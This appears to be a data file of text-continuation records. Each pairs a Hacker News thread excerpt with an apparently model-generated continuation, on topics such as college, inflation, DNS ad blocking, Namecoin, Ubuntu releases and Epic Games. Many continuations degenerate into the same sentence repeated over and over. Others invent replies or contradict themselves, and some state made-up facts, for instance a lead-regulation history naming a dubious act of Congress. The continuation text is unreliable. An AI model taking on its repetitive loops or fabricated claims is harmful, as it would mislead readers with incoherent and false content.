A's offer, just\nformulating their own based on value not competition. You want to hear what\nthey would have offered without company A in the picture.\n\nNot only do you come across less money"} +{"output_text": "\nbe salary. Sixth column would be number of years of experience.\n\nAnd then you could just look at the numbers and see what is the best course of\naction.\n\n~~~\njamesbritt\n\"Isn't it sad, that there is still no giant database filled with numbers to\nsolve all arguments?\"\n\nI think it's sad that there are still people who think that the only way to\nsolve problems is to throw more money at them.\n", "input_text": ".... take advantage of opportunities!\n\nDo you have an idea? Have you validated this idea in some form? Do you have\naccess to funds? Do you have the skills necessary to execute the idea? If not,\ndo you have access to people who can make up for your shortcomings? In other\nwords, do you actually have an alternative opportunity to college.\n\nLife is long for most of us, be optimistic and bet on it being long for you\ntoo. Don't be in a rush. While the college degree itself does not hold the\nvalue that it once did, the experience of college for those who truly take\nadvantage of it will find it to be an amazing period of self growth. College\nhas true value for some, even if society does not know how validate its value\non an individual basis.\n\nI went to college, I dropped out senior year, 8 years later I am working on my\nstartup full time. My conditional blanket advice would be this, if you don't\nhave a clear opportunity then go to school. It is that simple. If you spend\nhalf the time your friends' spend partying on your idea, you will have more\nthan enough time to vet your dream as a true opportunity. After which you can\njustifiably quit college and start your company. Just because you start your\nundergrad does not mean you have to finish it.\n\nLike I mentioned, I don't have my degree because I personally don't value a\ndegree. But I highly value my college experience.\n\n------\nxentronium\nIsn't it sad, that there is still no giant database filled with numbers to\nsolve all arguments?\n\nOne column would be university. Another column would be course. Third column\nwould be price. Fourth column would be field of working. Fifth column would"} +{"output_text": " people to not own a piece of Real Estate under their\nname.\n\n~~~\nmatt4077\nI don't think the title is particularly incendiary. It's just a fact that\nthere are many reasons to not own a piece of Real Estate under your name.\n\n~~~\nwillart4food\nI agree, but the title is misleading.\n\n------\nmatt4077\nI don't think the title is particularly incendiary. It's just", "input_text": " are we trying to fix here? So much faux outrage\n\n------\ngeneralpass\nIt's another bogeyman red herring. The issue is very straightforward: central\nplanning fails.\n\nNearly all critical infrastructure in the form of homes (zoning), roads,\nwater, and electricity and related services are centrally planned.\n\nIt is almost impossible to do anything outside of a municipality, which didn't\nused to be the case.\n\nWithout this central planning failure it would be impossible to \"take\nadvantage\" of any market, as home builders would just build homes until the\n\"launderers\" run out of cash.\n\n~~~\nempath75\nHave you ever been to a developing country? They work they way you suggest.\nPeople just run electricity and water wherever they can and throw up houses\nanywhere.\n\nTurns out it\u2019s not actually an improvement though.\n\n~~~\naianus\nNonsense, I've lived in several and it was great.\n\n$500/mo rent and much better quality of life than a similar $4000/mo place in\nSF.\n\n~~~\nempath75\nYeah living in the developing world is great when you\u2019re there telecommuting\nand have an american or uk passport and can just leave whenever you feel like\nit.\n\n------\nwillart4food\nIncendiary titles, written by ignorant writers, looking to impress\npoliticians, and rattling the cage in order to gain eyeballs.\n\nThere are many reasons NOT to own a piece of Real Estate under an individual\nname, under a trust (for estate purpose) comes to mind and it's now very cheap\nto do and the public in general is more educated on it; so that alone accouts\nfor a large chunch of"} +{"output_text": ".\n\n~~~\nvsupalov\nI think you are right. I was trying to be concise, but I think I failed.\n\n------\njoshu\nI'm not sure I agree with the \"continuous\" part.\n\nI think the \"continuous\" part is the part where you have a process that\nautomatically deploys to production.\n\nI think the \"continuous\" part is the part where you have a process that\nautomatically deploys to", "input_text": " been burned a couple of times where changes from a developer's machine\nended up in production\n\n~~~\nrhizome\nHow does that happen? The only way I can think of is when using a \"copy local\"\ntype deployment rather than a repository checkout, which is a pretty basic bug\nin this kind of process that should be eliminated by the time \"automation\" is\na priority.\n\n------\nvsupalov\nGreat article! A tiny nitpick: the distinction between continuous delivery and\ncontinuous deployment, is that in the first case you _could_ deploy anytime\nyour want, but the triggering is still up to a human. With continuous\ndeployment, everything is shipped to prod automatically, given that all\nconditions are met.\n\nIf you want to learn more quickly - I did a talk on the topic last week, and\ndid my best to provide a concise overview of the most essential terms. Check\nout the slides for a high-level view on ci/cd [1] and deployment pipelines in\ngeneral [2] if you want to learn more.\n\n[1] [https://www.slideshare.net/VladislavSupalov/automated-\ntestin...](https://www.slideshare.net/VladislavSupalov/automated-testing-\nenvironments-with-kubernetes-gitlab/12)\n\n[2] [https://www.slideshare.net/VladislavSupalov/automated-\ntestin...](https://www.slideshare.net/VladislavSupalov/automated-testing-\nenvironments-with-kubernetes-gitlab/17)\n\n~~~\nrhizome\nYour \"continuous delivery\" definition sounds like CI to me"} +{"output_text": "I don't think this is fair. Google has been open about their intentions with\nAndroid. They've been open about the fact that they're going to make money\nfrom it. They've been open about the fact that they're going to make money\nfrom it. They've been open about the fact that they're going to make money\nfrom it. They've been open about the fact that they're going to make money\nfrom it. They've been open about the fact that they", "input_text": " believe in choice, if you believe\nin innovation from everyone\u2020, then welcome to Android.\"\n\n\u2020 Everyone, depending on where the innovation is, being Google employees, and\nselect partners who are given access to the Android source before public\nrelease.\n\n~~~\nrecoiledsnake\nThat seems pretty true compared to the alternate platform which results in\nthings like this [http://blog.robrhyne.com/post/659211315/almost-on-the-app-\nst...](http://blog.robrhyne.com/post/659211315/almost-on-the-app-store) and\nthis\n[http://www.computerworld.com/s/article/9207641/Apple_rejects...](http://www.computerworld.com/s/article/9207641/Apple_rejects_Sony_e_reader_app_Is_Kindle_next_)\n\nAnd it seems like nothing has changed with the latest changes to Android. Care\nto elaborate?\n\nEdit: And how is a IO keynote 'an entire marketing campaign'?\n\n~~~\ncube13\n>Edit: And how is a IO keynote 'an entire marketing campaign'?\n\nHow is the text on not?\n\n~~~\nrecoiledsnake\nA web page on the internet is an entire marketing campaign?\n\nWhat percentage of Android users even visited that page in their lifetime,\nforget about being swayed by that statement on it? 0.005%?\n\n------\njoeminkie\n_It is getting tiresome to hear Apple fans, having long bashed Google's\nAndroid because \"open\" was bad, now bash Google for being somewhat less\n\"open.\"_\n\n"} +{"output_text": " not taxed).\n\n~~~\njfoutz\nI think you're right. I think the real issue is that inflation is a\ndisincentive to saving. If you're earning a real return on your money, you're\nnot going to save it.\n\nI think the real issue is that inflation is a disincentive to saving. If you\nare earning a real return on your money, you're not going to save it.\n\nI think the", "input_text": ", it looks like they get screwed.\nIn practice, the productivity and technology advances created by the\ninvestment by people with money are often effectively neutral or\n_deflationary_. Not only are they more productive at their jobs, assuming they\nhave one, but the costs of many goods decline thanks to the investment. This\ndoesn't apply to all goods but it applies to many that almost everyone\nconsumes. That said, if an economy inflates too fast it can quickly outstrip\nthe earning potential of the people that operate in it. The flow of money\nthrough an economy has a significant viscosity and in extreme cases that\ncauses much suffering.\n\nIn summary, the reason mildly inflationary economies are commonly preferred by\nmost governments is that, on the balance, it optimizes incentives to maximize\nreal investment which not only grows the economy in real terms but has quasi-\ndeflationary effects for consumers as well. There are always tradeoffs but\nthis is widely believed to have the \"least bad\" set of tradeoffs for a\ncurrency inflation/deflation policy.\n\n~~~\nyummyfajitas\nThis is NOT why deflation is bad. If there is a deflation rate D and (nominal)\ninterest rates R, you can still get a real return of D+R by investing your\nmoney. If you want \"risk free\" income, you can put your money into AAA fixed\nincome _just like you would do in an inflationary economy_.\n\nThe effects on the allocation of investment in a deflationary world are\nmathematically identical to an increase in interest rates. I.e., D=0, R=5 is\nthe same as D=2, R=3.\n\nThe only notable economic effect is that black money can now earn interest\n(it's"} +{"output_text": " issue with it.\n\n------\nmatt_the_bass\nI\u2019m not sure if this is a good thing or not. I\u2019m not sure if I\u2019m ok with\nadvertisers knowing my browsing history.\n\n~~~\nmatt_the_bass\nI\u2019m not sure if this is a good thing or not. I\u2019m not sure if I\u2019m ok with\nadvertisers knowing my browsing history.\n\n------\n", "input_text": "I like that the \"consent\" URL doesn't actually ask for consent - it just\nimmediately redirects to \"collect identifiers\" \\- it's possible they already\nassume they have my consent, but since this was checked with a cookie-less\ncURL command, that seems unlikely. Since my adblocker is blocking the\nguce.advertising.com domain, I guess I don't get to visit TechCrunch.\n\n~~~\ntomger\nAnother post where the top part of the thread is a tangent/unrelated to the\npost. This is becoming common on HN and I don\u2019t find it helpful.\n\n~~~\ncorentin88\nTotally agree. It\u2019s especially annoying because it\u2019s the top thread.\n\n~~~\nNarishma\nIt's the top thread because people find it interesting. If you don't, just\nclick the [-] and it will close the whole thread.\n\n------\nbouke\nWebsite hijacks my back button in Safari. Is there something that can be done\nto prevent this?\n\n~~~\ndao-\nI know we (Mozilla) are working on fixing this in Firefox:\n[https://bugzilla.mozilla.org/show_bug.cgi?id=1515073](https://bugzilla.mozilla.org/show_bug.cgi?id=1515073)\n\nYou may want to check Apple's bug tracker, they likely have an open issue on\nthis already.\n\n~~~\nheartbeats\nIt would be a better idea to block ads served from such sites, or to even send\npunitive requests.\n\n~~~\ndao-\nIt's possible Firefox already does that via its enabled-by-default tracking\nprotection. At least I don't seem to have an"} +{"output_text": ", the U.S. Food and Drug\nAdministration (FDA) banned the use of lead in food packaging, and in the\n1970s, the U.S. Environmental Protection Agency (EPA) banned the use of lead\nin gasoline. In the 1980s, the U.S. Congress passed the Lead-Based Paint\nElimination Act, which banned the use of lead in paint and lead-based\npaints._\n\nSo, the regulation was", "input_text": "\n\n------\njupp0r\nWhen you think people had learned their lesson by the 1930s, don't forget\nabout watching atomic bomb tests from the side of the road in Nevada in the\n50s: [https://allthatsinteresting.com/atomic-\ntourism](https://allthatsinteresting.com/atomic-tourism)\n\n~~~\ndjtriptych\nIf totally do it if it were even close to safe. Is a small yield blast\ndangerous from 75 miles?\n\n~~~\narethuza\nYou can use Nukemap to work that out:\n\n[https://nuclearsecrecy.com/nukemap/](https://nuclearsecrecy.com/nukemap/)\n\nI think it would be perfectly safe - though you probably don't want to live\ndirectly downwind:\n\n[https://en.wikipedia.org/wiki/Downwinders](https://en.wikipedia.org/wiki/Downwinders)\n\n------\nm463\nMakes me think that regulation moves very slowly.\n\n~~~\nmicrocolonel\nIt moves slowly in both directions. If everything had built-in sunset\nprovisions, it would be a lot easier to try things.\n\n~~~\nRetric\nThat seems like a terrible idea because people forget why useful regulations\nwhere needed.\n\nLead is never going to be safe. _Julius Caesar's engineer, Vitruvius,\nreported, \"water is much more wholesome from earthenware pipes than from lead\npipes.\u201c_ _Lead was added to cheap wine illegally in the 18th and early 19th\ncenturies as a sweetener._. Note the illegal bit because we knew it was toxic.\n\nBut fast forward and... _In the late 1950s"} +{"output_text": " free phones.\n\n~~~\nmodeless\nI don't think Samsung is the troll here. Mycroft is.\n\n------\njedberg\nI'm not sure if this is a troll or not. I'm not a lawyer, but I think the\npatent is invalid because it's not novel.\n\nThe patent is for a \"method and system for providing a user with a\nrecommendation of a product or service based on a user's profile and\npre", "input_text": "and/or subscription model to the tune of a Bernie Sanders-equivalent funding\nlevel.\n\n~~~\nrayiner\nThere is an enormous, well funded, Silicon Valley lobbying effort directed at\nweakening the patent system. The last Patent Office director was head of\nPatent Strategy for Google for almost a decade. However, almost all the other\nindustries, from automotive to pharmaceuticals to aerospace, and even some of\nthe more traditional players in Silicon Valley, are on the other side of the\nissue.\n\n~~~\nuep\nNo matter how detrimental software patents are to the big players, they are\nfar more detrimental to the small players. If it can keep the smaller players\nfrom being real competitors, it's in the best interest of the big companies to\njust pay the patent tax. They stand to lose far more with a lower barrier to\nentry to their markets.\n\nSoftware is kind of unique (and even moreso now with the prevalence of cloud\nproviders) with its otherwise low barrier to entry; as capital expenses are\nextremely low compared to other industries.\n\n------\nmodeless\nEast Texas? Should be thrown out after the recent Supreme Court ruling, unless\nMycroft actually has an office there. Apple went to the trouble of closing\ntheir stores in East Texas for that exact reason:\n[https://www.macrumors.com/2019/02/22/apple-closing-stores-\nin...](https://www.macrumors.com/2019/02/22/apple-closing-stores-in-eastern-\ndistrict-texas/)\n\nDid this troll not get the memo?\n\n~~~\ntim--\nInteresting that this is the same area that Samsung spends hundreds of\nthousands of dollars to 'bribe' the local community with"} +{"output_text": "-\nBlacklist](https://github.com/khainebot/DNS-Unbound-Blacklist)\n\n------\njoshstrange\nI've been using Unbound for a while now and it's been great. I've been\nwondering if there is a way to use it to block domains that are not in the\nblacklist. I know that Unbound is a DNS forwarder but I'm not sure if there is\na way to block", "input_text": " type of behavior and much more (Lua for\nPowerDNS, Python for Unbound).\n\nI'd say a script for any of these would be a better choice.\n\n~~~\npgl\nI just yesterday added an Unbound format for my list!\n[http://pgl.yoyo.org/as/#unbound](http://pgl.yoyo.org/as/#unbound)\n\n~~~\nvbezhenar\nI used just 'local-zone' entry. Unbound answers NXDOMAIN for those domains,\nand it prevents next HTTP request to 127.0.0.1. I'm not sure what approach is\nbetter.\n\n~~~\npgl\nTo be honest, I don't use Unbound myself - I was just going off what was sent\nto me as an example of the format to use.\n\n------\nwodenokoto\nWhy do you need to spoof as opposed to block domains?\n\n~~~\nlaumars\nIn the case of this HN submission, they're the same thing. From what I can\ngather, Adsuck is essentially just a DNS forwarder that sends NX DOMAIN for\nblacklisted domains but forwards the DNS requests for all other DNS lookups.\nSo \"spoof\" is a little misleading since it's actually doing the job of a\nnormal DNS forwarder - albeit tuned with privacy in mind. So I think it's fair\nto say this method could more accurately be defined as \"block[ing] domains\"\nrather than \"spoofing DNS\". However I'd welcome a correction if I'm wrong.\n\n------\nKhaine\nI wrote a simple python script to blacklist bad domains for unbound\n[https://github.com/khainebot/DNS-Unbound"} +{"output_text": " is\nlimited to the CSS.\n\n~~~\njrochkind1\nIt's a post-processor. It's a tool that takes a CSS file and produces a\ndifferent CSS file.\n\nIt's not a pre-processor, because it doesn't produce a file that is a\npre-processor of the CSS.\n\nIt's not a post-processor, because it doesn't produce a file that is a post-\nprocessor of the CSS.\n\nIt", "input_text": "below.\n\n~~~\nuserbinator\n> I'm on a Mac so there's no scrollbars. There's your problem.\n\n~~~\niLoch\nCongratulations on being an ignorant elitist. I have both Mac and PC and have\nbeen using both for a very long time. The point of my statement is that\nwhether or not I can see my scrollbar, I shouldn't have to look at the size of\nthe bar to determine the functionality of the site.\n\n------\ntransfire\nI wish there were a revolt against W3C. They have consistently made a mess of\neverything they touch (and take forever to do it). Why reinvent the wheel yet\nagain with another fuglier syntax? We already have Sass and LESS which are\nwidely used and quite beloved. Just adopt the best of those and save us from\nyet another \"XSL-FO\". Please! For God's sake, man!\n\n~~~\njsmeaton\nSo, in your world, we'd all have to compile our stylesheets? I don't like that\nidea at all.\n\n~~~\njrochkind1\nNo. The reason sass or less require compiling is to support features that\naren't actually a part of the CSS standard, so they need to be compiled down\nto things that are a part of the css standard.\n\nIn his world, the best of those features would be part of the CSS standard and\nsupported by browsers, so you could just give them right to browsers without\ncompiling anything.\n\n~~~\njsmeaton\nWell I'm glad I phrased it as a question then :)\n\n------\ncrystaln\n\"post-processor\"? What does that mean?\n\nLooks a lot like a pre-processor to me, except that its functionality"} +{"output_text": " block from\nBitDNS, they would also get a block from Bitcoin.\n\nThe only thing that would need to be done is to make sure that the block\nheaders are the same. This could be done by having a separate block chain\nwith a separate header for each network.\n\nThis would be a very simple change to the protocol. It would be a very\nminor/unnoticeable change to the protocol. It would be a very minor change to\nthe protocol.", "input_text": "ists. Schr\u00f6dinger\ncalled himself an Atheist but had a strong affinity for Eastern spiritually\nand Oppenheimer was into Hinduism. And if you want to get into some _really_\nweird stuff, look up Jack Parsons, founder of JPL at NASA.\n\nScientists are just people like the rest of us and grapple with the same\nquestions in life all of us do.\n\n \nNamecoin - rfreytag\nhttps://en.wikipedia.org/wiki/Namecoin\n======\nJacobAldridge\nAt the risk of hijacking yet another cryptocurrency thread, this is an\nopportunity to note how valuable I believe HN to be when it highlights primary\nsources.\n\nSecondary sources - whether it's lazy journalism, blog-jacking, or Wikipedia,\nengages us here in a discussion already framed through another person's or\ngroup of people's editorial eyes. Is there no better overview of Namecoin than\nits Wikipedia page?\n\n~~~\nbachback\n[http://namecoin.info](http://namecoin.info)\n\nThis is where it started:\n[https://bitcointalk.org/index.php?topic=1790.0](https://bitcointalk.org/index.php?topic=1790.0)\n\nsatoshi's comment on the matter, posted 4 days before he left the forum.\n\n\"I think it would be possible for BitDNS to be a completely separate network\nand separate block chain, yet share CPU power with Bitcoin. The only overlap\nis to make it so miners can search for proof-of-work for both networks\nsimultaneously.\n\nThe networks wouldn't need any coordination. Miners would subscribe to both\nnetworks in parallel. They would scan SHA such that if they get a"} +{"output_text": " world where\nAndroid and iOS are the only mobile OSes that are even remotely competitive\nwith the desktop.\n\n~~~\njosteink\n> So you definitely want some post-mortum on the last KDE mobile attempt and\n> you also want to consider how Plasma Mobile might succeed or fail in a world\n> where Android and iOS are the only mobile OSes that are even remotely\n> competitive with the desktop.\n\nI think you're missing the point.\n\nThe", "input_text": " saying \"libre\" now, not \"free\"? Just want to keep up with the latest\nlingo.\n\n------\nzanny\nSo nobody is talking about Plasma Active.\n\n[http://plasma-active.org/](http://plasma-active.org/)\n\nSome history, Plasma Active is about five years old now and its development\ncoincided with a would-have-been-crowdfunded-toay tablet called Vivaldi that\nwas supposed to be an open hardware device that never panned out because costs\ngot out of control and interest waned.\n\nIt was based on Mer, rather than Kubuntu, and Qt4 rather than 5. Today it\nlooks like a colossal wreck, and all the \"Active\" app UIs developed for it are\nall complete wastes of code and time today because QML was not mature enough\nwhen they made that \"first attempt\". Today there are common themed QML\nelements called the qt-quick-controls that everyone can use to build UIs that\nadapt to every devices native toolkit, while still supporting animations and\nflow elements and all the nice graphical perks hardware accelerated UIs allow.\n\nIts been basically dead in the water for over two years, since the tablet\nproject went belly up, and there even used to be a \"Kubuntu-active\" fork of\nKubuntu that the project was maintaining as a way to try out the Plasma Active\ndesktop on top of a Kubuntu core. The shell from Plasma Active did eventually\nsee use in its adoption as the \"netbook\" interface found in Plasma 4 near the\nend of its lifecycle.\n\nSo you definitely want some post-mortum on the last KDE mobile attempt and you\nalso want to consider how Plasma Mobile might succeed or fail in a"} +{"output_text": "ck, hire a full-time QA engineer.\n\n\\- Pay for the dev team to work on the game full-time.\n\n\\- Pay for the dev team to work on the game full-time.\n\n\\- Pay for the dev team to work on the game full-time.\n\n\\- Pay for the dev team to work on the game full-time.\n\n\\- Pay for the dev team to work on the game full-time.\n\n\\- Pay", "input_text": " on Android than installing\nnon-Mac-App-Store software on macOS \u2014 with Android it prompts you right when\nyou open to allow or disallow installs from the source you downloaded from,\nwhereas macOS makes you dig around in Settings the first time. I tried\ninstalling the Epic store just now on Android, and it was a fairly seamless\nexperience.\n\nI'm sure it gets fewer sales, since the Play store is bundled with most\nAndroid phones and the Epic store isn't. But it's pretty different than an\noutright ban: the Play store is charging you the 30% Google tax for\nreach/audience, but you're free to list on an alternative store if you choose\nto.\n\n------\nivanstojic\nIt's important to remember that Epic games isn't a champion of freedom here.\n\nAfter Epic store launched on the PC in 2018, Epic used their platform's\ngrowing popularity to bait and/or strong arm (it's unclear to me) indie\ndevelopers into exclusivity contracts on Epic's game store. This action caused\na massive uproar in the gaming community because with those exclusivity deals,\nEpic made developers break existing preorders.\n\nThis isn't about freedom or choice or walled gardens. It's about cutting off a\nslightly bigger slice of a billion dollar pie.\n\n~~~\nel_nahual\nI happen to know some first-time indie devs that were given this deal. The\ndeal is incredibly generous. Basically, epic offered them a bag of money in\nexchange for a certain period of partial exclusivity (basically \"don't be on\nSteam\"). That's it. This bag of money allowed the developers to:\n\n\\- Grow the dev team enough to accelerate time to launch--QA extra engineers,\nhe"} +{"output_text": " is a skill that\ncan be learned.\n\n------\njoshu\nI think you're suffering from burnout.\n\nI've been there. I'm not sure what to do about it.\n\nI think the best thing is to find a way to make your work more interesting.\n\n------\njoshu\nI think you're suffering from burnout.\n\nI've been there. I'm not sure what to do about it.\n\nI think", "input_text": " but I\ncome from a culture where this aspect of work was never emphasized and at this\npoint, I don't know who to ask.\n\nOff topic, Could anyone point to a place where you could ask for advice of\nlife? It seems once we are in the 30s, there are more questions then answers\nthen when i was in 20s.\n\n------\nmseebach\nI used to feel that way, but I finally came to terms with the fact that my\nwork-life was a mess, and I was basically lying to myself.\n\nI was working (and struggling, hard, in the way you describe) on a project I\nwas telling myself would become a startup, and even though I felt I was being\nrealistic about the limitations, in retrospect even that was insanely\noptimistic. I was burning myself out.\n\nOnce I had this epiphany - triggered by going to Startup Weekend and having a\nton of fun (and no motivational problems!) working on a project, I pulled the\nplug and eventually got a fairly regular job in a fairly normal company (in an\nexcellent team, though).\n\nThe epiphany and pulling the plug had a huge effect. It didn't fix everything\novernight, but I did get into a habit of introspection, especially when I'm\nfacing tasks that I struggle to get motivated for. They're still hard, but I\nam generally able to organise things around them in such a way that they don't\nget me down.\n\n------\nDowwie\nYou're not suffering from ADHD. You're using a motivational skill! It's a very\nvaluable skill to have! Boring work can be made interesting, life changing\neven. This requires vigilance, as you've noticed. Motivation"} +{"output_text": "/postgres/blob/master/pkg/leader_election.go)\n\n~~~\nnewaccoutnas\nThanks for the info. I'll have to look into it.\n\n------\njedberg\nI'm really excited about this. I've been using CoreOS for a while now and\nreally like it.\n\nI'm curious if they are going to support the new features in Kubernetes 1.9\nlike the new scheduler and the new API.\n", "input_text": " be using TPR, but rather CRDs (see\n[https://coreos.com/blog/custom-resource-\nkubernetes-v17](https://coreos.com/blog/custom-resource-kubernetes-v17)). The\nwelcome video is not really convincing either - condensing it to an animated\ngif would make it much more attractive imho.\n\n------\ntn890\nCan someone explain to me why I'd run this over a StatefulSet of whatever\nsoftware I want to deploy?\n\nI've been skimming the docs and can't find a good reason TBH.\n\n~~~\nstriking\nThe Postgres clustering advertised here[0] seems like a great reason to me.\n\n0:\n[https://kubedb.com/docs/0.9.0/guides/postgres/](https://kubedb.com/docs/0.9.0/guides/postgres/)\n\n~~~\nnewaccoutnas\nHow does that compare to something like CitusDB I wonder?\n\n~~~\nsciurus\nIt looks like a standard single r/w master + multiple r/o slave topology with\nthe addition of their own leader election. I'd want to understand how the\nlatter works and how it is tested very well before I'd trust it.\n\n[https://kubedb.com/docs/0.9.0/guides/postgres/clustering/ha_...](https://kubedb.com/docs/0.9.0/guides/postgres/clustering/ha_cluster/)\n\n[https://github.com/kubedb/postgres/blob/master/pkg/leader_el...](https://github.com/kubedb"} +{"output_text": "\n------\njosteink\nI\u2019m still on 18.04. I\u2019m not sure if I\u2019m going to upgrade to 20.04 or not.\n\nI\u2019m not sure if I\u2019m going to upgrade to 20.04 or not.\n\nI\u2019m not sure if I\u2019m going to upgrade to 20.04 or not.\n\nI\u2019m not sure if I\u2019m going to upgrade to 20.04 or not.\n\n", "input_text": "noys me to no\nend, and, like you, it's pretty much caused me to abandon the *buntus at this\npoint.\n\n~~~\ncies\nTo have pretty much all my 3rd party software installed through one system was\nreally great! I remember installing a Linux in 30mins and a Windows in 5hours.\n\nWhat distro did you run to?\n\n~~~\nsq_\nI ended up heading off to Arch. I've always enjoyed messing around with\nnonstandard desktop setups, and it was really appealing for that because of\nthe lean default system that Arch provides, along with the availability of so\nmuch software through the AUR.\n\nOne perk of the AUR (although it does come with some security concerns, etc.)\nis that you can use one of several package managers to handle both it and the\nstandard repositories under one framework, dealing with exactly the issue I\nhad with snap without needing PPAs and the like.\n\n------\nlexa1979\nSo, what about the 32 bit libraries needed to run my Steam-Proton games? I\nheard it was going to be removed from 20.04, is it real? If I upgrade my\n18.04 installation, will it keep it?\n\n~~~\ndindresto\nNo, the compatability libraries are still there and Steam and Proton will run\nfine.\n\n------\nw-m\n\"Focal Fossa is a long-term support (LTS) release and will be supported for 3\nyears, until April 2024\"\n\nIs this LTS release supported for 3 years, or until April 2024 (4 years)?\n\n~~~\nflatiron\n[https://wiki.ubuntu.com/Releases](https://wiki.ubuntu.com/Releases)\n"} +{"output_text": "2013/01/30/the-\nun-rules-of-war-on-t...](http://reason.com/blog/2013/01/30/the-un-rules-of-\nwar-on-terror)\n\n------\njoshuahedlund\nI'm not sure I agree with the premise that the rules of war are \"unwritten\"\nand \"unwritten\" is a bad thing.\n\nThe rules of war are written down in", "input_text": " isn't over, then when will it be over? And is it even legitimate?\nThe U.S. declared war on the concept \"Terrorism\" during Bush Jr's presidency,\nnot on specific terrorists or al-Qa'ida. The U.S. also declared a war on\n\"drugs\" during the Reagan years. Though I'm in support of both \"wars\" because\nI'm in favor of the well-being and defense of the U.S. people, I don't think\nCongress or the president should have a right to declare war on something that\ncannot end, i.e. cannot terminate via treaty, surrender/capitulation, complete\ndestruction, or victory.\n\nI am a little concerned that we are declaring that it is ok to kill our own\ncitizens without due trial, although I understand there are conditions.\n\n~~~\ncamus\nwell the point you are missing is, it takes place outside a war context.\nAlQaida is not the army of afghanistan, in fact most of its members are\nsaudis, egyptians or from yemen. So the Geneva convention \"doesnt apply\",\nthat's the why of the enemy combattant status and all that illegal crap made\nlegal.\n\n------\nrevelation\nThese are not \"rules\", these are _justifications_ should the political fallout\nbe of the atomic type. Rules is a horrible euphemism for this absurdity, it\nimplies that there is someone to enforce these rules, which is what is so\nconspicuously absent from the picture here.\n\n------\njkoschei\nBest. Permalink. Ever.\n\n~~~\nbrokentone\nIn case they change it: \"[http://reason.com/blog/"} +{"output_text": " with your career.\"\n\nI'm not sure what to do. I'm not sure if I should just accept that I'm\n\"normal\" and that I'm not going to be able to change. I'm not sure if I should\njust accept that I'm not going to be able to change. I'm not sure if I should\njust accept that I'm not going to be able to change.\n\n~~~\njoshu\nI think you're in a good place", "input_text": " might be the feeling that\nyou should look for when defining that \u201esuccess\u201c in work. And once you know\nwhat it is motivation will come to you as a lucky dog or a cat asking to be\npetted.\n\n------\nanonlazybastard\nYes, I do feel this way. So much so in fact that I could convince myself that\nI sleep-typed this, except for the fact that I'm in my mid-thirties. All the\nway down to gamifying my productivity, racking up points and \"indulgences\"\nwhich I use on junk food, video games, etc. I wish I had an answer, and am\nkeeping an eye out on these replies as well.\n\nThat said, all external indicators seem fine. Whenever I bring the issue up to\ncolleagues, superiors, or significant other, they assure me that I work plenty\nhard. I'm doing \"okay\" in my line of work, on track for a passable career in\nresearch. But I am all too aware of how much time I waste and how much better\nI could be doing. This troubles me because I know my work makes a difference\nin the grand scheme of things.\n\nIt's possible that we only have so many creative/intense work hours in the day\nand it's a lot fewer than we realize. In my case, I probably average around 3\nhours of solid work per day, highly irregular (most days probably 1-2 with\nsome hard spikes).\n\nShortly before finishing grad school, I did go see a therapist. He said\nsomething like \"You might have a mild case of ADD, but you seem to be making\nit work so far (was finishing up a PhD). I could prescribe you medication, but\nI wouldn't want to mess"} +{"output_text": ", please contact me. I\u2019m interested in his estate.\n\n~~~\njoe_the_user\nI'm not related to Joe, but I'm interested in his estate.\n\n~~~\ntoomuchtodo\nI\u2019m not related to Joe, but I\u2019m interested in his estate.\n\n------\njoe_the_user\nI'm not related to Joe, but I'm interested in his estate.\n\n------\njoe_the_", "input_text": " the end he surprisingly ended up surviving\nhis terminal cancer, thanks to his doctors.\n\n[https://en.wikipedia.org/wiki/Wilko_Johnson#Cancer](https://en.wikipedia.org/wiki/Wilko_Johnson#Cancer)\n\n------\nsnazz\nI can\u2019t say I\u2019ve ever seen someone use an issue tracker as a blog before, but\nit does make sorting the posts dead easy.\n\n~~~\ngiancarlostoro\nI wish he would of called it an e-zine. Then \"Issues\" would match the use\ncase... Bring e-zines back dang it! _raises wrinkly millennial fist_\n\n~~~\ngiancarlostoro\nA fun side effect of his approach is you can see people who forked off the\nidea, there's at least two people blogging using this format as well:\n\n[https://github.com/lukego/blog/network/members](https://github.com/lukego/blog/network/members)\n\n------\nredleggedfrog\nI hope when I die I'll be worthy enough to ascend to whatever is the\nprogrammer Valhalla and I'll see Joe there, amongst the other greats.\n\nI have never written a line of Enlang, but as I've seen the advantages of\nloading binaries at run-time as swappable components I get an inkling of the\nbeauty of the idea. It's not near so easy in C# as it appears to be in Erlang.\n\nAlso, I nominate the name of programmer Valhalla to be called \"Greenfield.\"\n\n------\ntoomuchtodo\nIf anyone related to Joe has access to his home directory and knows someone\nmanaging his estate"} +{"output_text": " caught.\n\n~~~\njoshfraser\nI'm not sure why this is getting downvoted. I'm not saying that the US should\nbe like the Taliban, but I think that the US should be more like the Taliban\nthan the Westboro Baptist Church.\n\n~~~\njoshfraser\nI'm not sure why this is getting downvoted. I'm not saying that the US should\nbe like the Taliban, but I think that the US should be", "input_text": "ensible\nposition, defended over the centuries by many honorable people. I respect that\nposition. But, even though I have largely pacifist ancestors, I think as a\nfather of a daughter that if the Taliban tried to set up their women-\noppressing rule anywhere my daughter might have occasion to live or work, I\nwould oppose them by all means necessary, up to and including lethal force.\nThat's not because forcing women to be covered from head to toe when they go\nout of their homes is itself a capital crime, but because some Taliban fellow-\ntravelers also commit capital crimes like murdering women who try to teach\nmothers how to vaccinate their children to keep the children from dying from\ninfectious diseases. I would not be ashamed to kill a baby-killer or woman-\nmurderer.\n\nAFTER EDIT: I will now take time to give a careful lawyer's read to the\ndocument (white paper) linked to from the blog post submitted here.\n\n[http://msnbcmedia.msn.com/i/msnbc/sections/news/020413_DOJ_W...](http://msnbcmedia.msn.com/i/msnbc/sections/news/020413_DOJ_White_Paper.pdf)\n\n~~~\nvy8vWJlco\n> _I would not be ashamed to kill a baby-killer or woman-murderer._\n\nSo your ends justify their means.\n\n------\njoshfraser\nThe strength of your principles is only tested at the extremes. I hate\nWestboro Baptist Church, but I'll support their right to say what they want,\nbecause that's how much I believe in free speech. And even terrorists deserve\nthe right to a speedy and public trial if they're"} +{"output_text": "://twitter.com/Y_Mokko/status/837610472362786817)\n\n------\njoshstrange\nI'm not sure if this is a good thing or not but I'm really excited to see\npeople using FreeBSD on the Switch. I've been using it on my desktop for a\nwhile now and it's been great.\n\n------\njoshstrange\nI'm not sure if this is a good thing or not but", "input_text": ".youtube.com/channel/UC5NO8MgTQKHAWXp6z8Xl7yQ)\n\n[1] -\n[https://www.youtube.com/user/EEVblog](https://www.youtube.com/user/EEVblog)\n\n~~~\nyoodenvranx\nYes, This Old Tony one of the best Youtube channels at the moment. His old\nvideos are all good, but the last few videos were really excellent.\n\nedit: Another good 